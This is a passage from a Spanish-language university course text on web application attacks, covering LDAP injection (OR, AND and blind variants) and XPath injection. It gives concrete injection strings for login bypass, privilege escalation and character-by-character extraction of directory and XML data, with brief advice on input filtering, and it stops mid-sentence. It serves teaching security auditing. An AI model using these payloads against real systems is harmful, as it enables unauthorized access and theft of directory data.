Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido
en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-
dor OR y un filtro que incluyera todos los resultados como se puede ver en la
siguiente imagen (|(uid=kurt)(uid=))
Figura 18 Todos los usuarios
Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento
sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))
CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web
Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro
Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado
el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba
ADAM
213 Conclusiones
Tras realizar estas pruebas podemos extraer las siguientes conclusiones
bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje
contra ADAM u OpenLDAP es necesario que el filtro original es decir el
del programador tenga un operador OR o AND A partir de este punto se
pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten
o realizar ataques blind es decir a ciegas
bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente
anidada en un uacutenico par de pareacutentesis general o bien que el componente
permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha
del filtro
bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust
puede ser vista de dos formas diferentes una primera en la que seriacutea vista
como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-
mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro
mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-
tariacuteamos hablando de un comportamiento particular de algunos motores
LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con
un segundo filtro con un operador el operador OR innecesario
CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web
A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP
que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten
siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-
jection y Blind LDAP Injection
214 ldquoORrdquo LDAP Injection
En este entorno nos encontrariacuteamos con que el programador ha creado una
consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados
al usuario
(|(atributo1=valor1)(atributo2=valor2))
Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-
table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-
dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea
ldquoGroupsrdquo Al ejecutarla obtenemos
Figura 20 Consulta OR sin inyeccioacuten
Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-
driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-
nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-
dena void)(uid=))(|(uid=
CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web
Figura 21 Lista de usuarios obtenida tras la inyeccioacuten
Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|
(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-
ta de todos los usuarios del aacuterbol LDAP
Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en
este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente
tipo
(|(type=outputDevices)(type=printer))
Figura 22 Listado de impresoras y dispositivos de salida
Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea
modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo
CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web
(|(type=outputDevices)(type=printer)(uid=))(|(type=void))
Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los
usuarios como se puede ver en la figura 23
Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection
215 ldquoANDrdquo LDAP Injection
En el caso de inyecciones en consultas LDAP que lleven el operador AND el
atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido
pero se pueden utilizar las inyecciones para mediatizar los resultados y por
ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con
una consulta del siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Supongamos un entorno en el que se muestra la lista de todos los documentos
a los que un usuario con pocos privilegios tiene acceso mediante una consulta
que incluye el directorio de documentos en un paraacutemetro inyectable Es decir
la consulta original es
(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))
Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder
acceder a los documentos de nivel de seguridad alto
(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
Para conseguir este resultado se habraacute inyectado en el nombre del directorio
la siguiente cadena
almacen)(nivel_seguridad=alto))(|(directorio=almacen
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
